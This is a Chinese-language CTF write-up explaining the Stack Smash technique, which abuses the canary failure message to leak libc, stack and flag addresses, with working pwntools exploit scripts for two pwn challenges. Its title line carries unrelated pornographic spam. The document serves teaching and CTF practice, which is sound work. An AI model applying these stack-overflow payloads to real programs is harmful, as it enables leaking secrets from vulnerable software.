亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

淺析ROP之Stack Smash

0x00 前言

Stack Smash 技巧算是 ROP 中一種比較巧妙的利用吧,在 ctf-wiki 上也說到了這個(gè)技巧。但是看完了也感覺是懵懵懂懂的,所以這里結(jié)合例子再做一個(gè)更細(xì)致的總結(jié),涉及到的基本知識(shí)也會(huì)比較多。

0x01 預(yù)備知識(shí)

1.Linux的環(huán)境變量(environ)

第一種獲取環(huán)境變量的方法是使用getenv函數(shù):

getenv能通過傳入鍵名的方法獲取到值

  • 例如對(duì)于環(huán)境變量?LC_PAPER=zh_CN.UTF-8,getenv(“LC_PAPER”)就可以獲取到他的值。

關(guān)于環(huán)境變量的詳細(xì)解釋可以看這里:
http://tacxingxing.com/2017/12/16/environ/

區(qū)別于第一種只能獲取單個(gè)的環(huán)境變量,另一種方式是使用environ 變量來獲得所有的環(huán)境變量的值

environ 變量作為一個(gè)指針指向了環(huán)境變量的字符指針數(shù)組的首地址。

這里就簡(jiǎn)單演示一下 environ 變量的使用方法:

#include <unistd.h>  
#include <stdio.h>
extern char **environ;  

int main(){  
  char **env = environ;  

  while(*env){  
    printf("%sn",*env);  
    env++;  
  }  
  exit(0);  
}

將這段代碼編譯運(yùn)行以后,可以看到將當(dāng)前的環(huán)境變量全部打印出來了。

這里我們只要知道 environ 變量的實(shí)際地址是指向棧的基地址(高地址)就行了。

2.canary 保護(hù)

Canary保護(hù)機(jī)制的原理,是在一個(gè)函數(shù)入口處從fs段內(nèi)獲取一個(gè)隨機(jī)值,一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻擊者利用棧溢出修改到了這個(gè)值,導(dǎo)致該值與存入的值不一致,__stack_chk_fail函數(shù)將拋出異常并退出程序。

也就是在當(dāng)前函數(shù)的 EBP 和輸入點(diǎn)插入一個(gè) “cookie” 信息,如果在棧溢出時(shí)將這個(gè)值覆蓋了,程序就會(huì)拋出錯(cuò)誤。

詳細(xì)的介紹和繞過可以看這里

0x02 Stack Smash

在程序加了canary 保護(hù)之后,如果我們讀取的 buffer 覆蓋了對(duì)應(yīng)的值時(shí),程序就會(huì)報(bào)錯(cuò),而一般來說我們并不會(huì)關(guān)心報(bào)錯(cuò)信息。而 stack smash 技巧則就是利用打印這一信息的程序來得到我們想要的內(nèi)容。這是因?yàn)樵诔绦騿?dòng) canary 保護(hù)之后,如果發(fā)現(xiàn) canary 被修改的話,程序就會(huì)執(zhí)行 __stack_chk_fail 函數(shù)來打印出 argv[0] 指針?biāo)赶虻淖址?/p>

我們通過Stack Smash的源碼來分析一下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

stack_chk_fail 函數(shù)中調(diào)用了?fortify_fail 函數(shù),并傳入 msg:
stack smashing detected

之后對(duì)msg在 libc_message 函數(shù)中輸出,這個(gè)函數(shù)還把 libc_argv[0] 作為參數(shù)輸出了。這個(gè)參數(shù)其實(shí)就是 argv[0] ,在命令行中也就是程序名

在程序執(zhí)行時(shí), argv[0] 會(huì)放在棧中,利用棧溢出可以將這個(gè)值覆蓋為 got 表中的值,在執(zhí)行 __stack_chk_fail 函數(shù)時(shí),利用輸出信息就可以輸出我們想要的 got 表信息,又給了 libc 庫,進(jìn)而可以得到 libc 的基地址。

得到基地址之后,我們可以進(jìn)一步利用,輸出棧地址以及棧中的信息。

0x03 例題

這里拿一道網(wǎng)鼎杯的 pwn1-GUESS 來講解。

IDA中的題目代碼

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@9
  __int64 v4; // rcx@13
  __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
  int v6; // [sp+1Ch] [bp-84h]@5
  __int64 v7; // [sp+20h] [bp-80h]@1
  __int64 v8; // [sp+28h] [bp-78h]@1
  char buf; // [sp+30h] [bp-70h]@4
  char s2; // [sp+60h] [bp-40h]@6
  __int64 v11; // [sp+98h] [bp-8h]@1

  v11 = *MK_FP(__FS__, 40LL);
  v8 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v7 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v7 >= v8 )
    {
      puts("you have no sense... bye :-) ");
      result = 0LL;
      goto LABEL_13;
    }
    v6 = sub_400A11();
    if ( !v6 )
      break;
    ++v7;
    wait(&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  result = 0LL;
LABEL_13:
  v4 = *MK_FP(__FS__, 40LL) ^ v11;
  return result;
}

運(yùn)行程序,程序會(huì)接收三次的輸入。
很明顯在gets函數(shù)處存在棧溢出,但是我們用 checksec(pwntools自帶) 檢查的時(shí)候,發(fā)現(xiàn)存在 canary 保護(hù),但是沒有PIE保護(hù)(堆棧地址空間隨機(jī)化)。

這邊在反匯編代碼可以看到在 main 函數(shù)結(jié)束時(shí)檢查了 canary 的值,與 rcx 進(jìn)行比較,?canary 的值是放在 fs 寄存器中的,理論上我們是不能正常查看了。

.text:0000000000400B8D loc_400B8D:                             ; CODE XREF: main+11Aj
.text:0000000000400B8D                 mov     rcx, [rbp+var_8]
.text:0000000000400B91                 xor     rcx, fs:28h
.text:0000000000400B9A                 jz      short locret_400BA1
.text:0000000000400B9C                 call    ___stack_chk_fail

所以這里除非用爆破出 canary 值,否則就無法正常泄露得到他的值,但是我們可以使用上面說的 Stack Smash 技巧。

解題思路

我們這里一步步來。

1.先 leak 出libc的基地址

要泄露出 libc 的基地址就要獲得某個(gè)函數(shù)在 got 表中的地址。這里的 got 表中的地址就用 Stack Smash 這個(gè)技巧來獲得。

首先用 gdb 在 gets 函數(shù)處下一個(gè)斷點(diǎn)

b *0x400b23

單步 n 之后,輸入一堆 aaa

  • 這里為了測(cè)試在本地新建了一個(gè) flag 文件,可以看到按照程序的正常流程走下去,此時(shí) flag 已經(jīng)被讀取到棧上了

然后使用?stack 20?這個(gè)命令來查看棧上的信息。

可以看到此時(shí)?0x7fffffffdf38?這個(gè)棧地址存儲(chǔ)的是 argv[0] 的值,也就是我們需要利用的值。

我們輸入的值(aaa…)是位于?0x7fffffffde10?的地址處,計(jì)算得到輸入到 argv[0] 的距離:

總共是 296 個(gè)字節(jié),也就是 0x128 的十進(jìn)制的值。

所以我們可以構(gòu)造 payload ,此時(shí) libc_start_main_got 的值就是我們需要泄露的 argv[0] 的值:

payload = 'a' * 0x128 + p64(libc_start_main_got)

得到的值需要用 u64 函數(shù)進(jìn)行解包(需要8個(gè)字節(jié)),所以需要用 ljust 進(jìn)行左填充到8個(gè)字節(jié)。

將得到的 got 表的真實(shí)地址減去 __libc_start_main 函數(shù)在 libc 庫中的偏移地址就得到了 libc 的基地址了。

第一步的exp:

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

2.leak 出棧的地址

這里為什么要 leak 出棧的地址呢?是因?yàn)槌绦驔]有開啟PIE保護(hù),所以 environ 變量中存放的棧地址的值和 flag 的距離是不變的,我們?nèi)绻玫搅藯5刂芬院?,算一下與 flag 的距離就可以 leak 出 flag 的值了。

根據(jù)上面所說的,要 leak 出棧的地址直接 leak 出?environ 變量的值就行。

所以這里根據(jù)得到 libc 的基地址加上 environ 變量在 libc 庫中的偏移就可以得到棧的地址。

exp如下:

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print "stack: "+hex(stack_addr)
  • 這里的 symbols 方法的鍵為 environ 或者 _environ 都是一樣的結(jié)果

如圖,這樣我們就得到棧的地址了。

  • 這里我在本地加載的 libc 庫和遠(yuǎn)程的不同,所以地址會(huì)有所差異。但是這里有個(gè)小技巧即可以根據(jù) libc 基地址后三位是否為0來判斷 libc 的基地址是否正確。

3.leak 出 flag 的值

還是在 gdb 中的調(diào)用 gets 函數(shù)處下斷點(diǎn)。

b *0x400b23

依舊是先?stack 20?輸出一下棧信息,可以看到我們需要的 flag 的地址是

0x7fffffffdd30

使用?b *environ?直接可以查看當(dāng)前 environ 變量地址中存放的值(也就是棧的地址),再計(jì)算棧地址到 flag 的距離

在 gdb 中,看到了當(dāng)前的棧地址為:0x7fffffffde98

gdb-peda$ b * environ
Breakpoint 2 at 0x7fffffffde98

所以可以計(jì)算出兩者的距離為 0x168:

gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30
$1 = 0x168
  • 這里是固定為 0x168 ,如果不信的話可以在 gdb 中多調(diào)試幾次。

也就是說下次 leak 的時(shí)候,要得到 flag 的值,直接使用棧的地址減去 0x168 就得到了 flag 的地址,再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。

也就是:

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

運(yùn)行exp得到flag。

最后的exp:

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')


libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))


print 'stack base addr: ' + hex(stack_addr)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

p.recvuntil('Please type your guessing flag')
p.sendline(payload2)

p.interactive()

other

這里還有一道例題也是關(guān)于 Stack Smash 的(Smashes)
題目鏈接:https://www.jarvisoj.com/challenges

checksec

依舊先檢查一下程序的保護(hù)機(jī)制:

滿足 Stack Smash 的使用條件:

canary protect
No PIE

IDA代碼

在 _IO_gets 函數(shù)處存在棧溢出,還是按照套路來:在gdb中查看與 argv[0] 的偏移


輸出與 argv[0] 偏移為 0x218

gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70
$2 = 0x218

構(gòu)造payload

payload = 'a' * 0x218 + p64(需要泄露的地址)

仔細(xì)看程序有一個(gè) flag 的提示,也就是這個(gè) flag 是在服務(wù)端的

在 gdb 中?find CTF,發(fā)現(xiàn)了兩處的 flag,我們傳入上一處的地址

關(guān)于為什么這么傳入,可以看這里:
https://blog.csdn.net/github_36788573/article/details/80693994

最后的exp:

from pwn import *

context.log_level = 'debug'
LOCAL = 0
if LOCAL:
        r = process('./smashes')
else:
        r = remote('pwn.jarvisoj.com',9877)

payload = 'a' * 0x218 + p64(0x400D20)

r.recvuntil("Hello!nWhat's your name? ")

r.sendline(payload)

r.interactive()

 

0x04 總結(jié)

Stack Smash 的適應(yīng)條件:

  • 開啟了 canary 保護(hù)
  • 讀取了關(guān)鍵信息(flag)到棧上,但是沒有開啟 PIE 保護(hù)

上一篇:GhostDNS正在針對(duì)巴西地區(qū)70種、100,000+家用路由器做惡意DNS劫持

下一篇:JSRC活動(dòng)|10倍積分現(xiàn)金獎(jiǎng)勵(lì),讓余額不足的2018一秒滿血!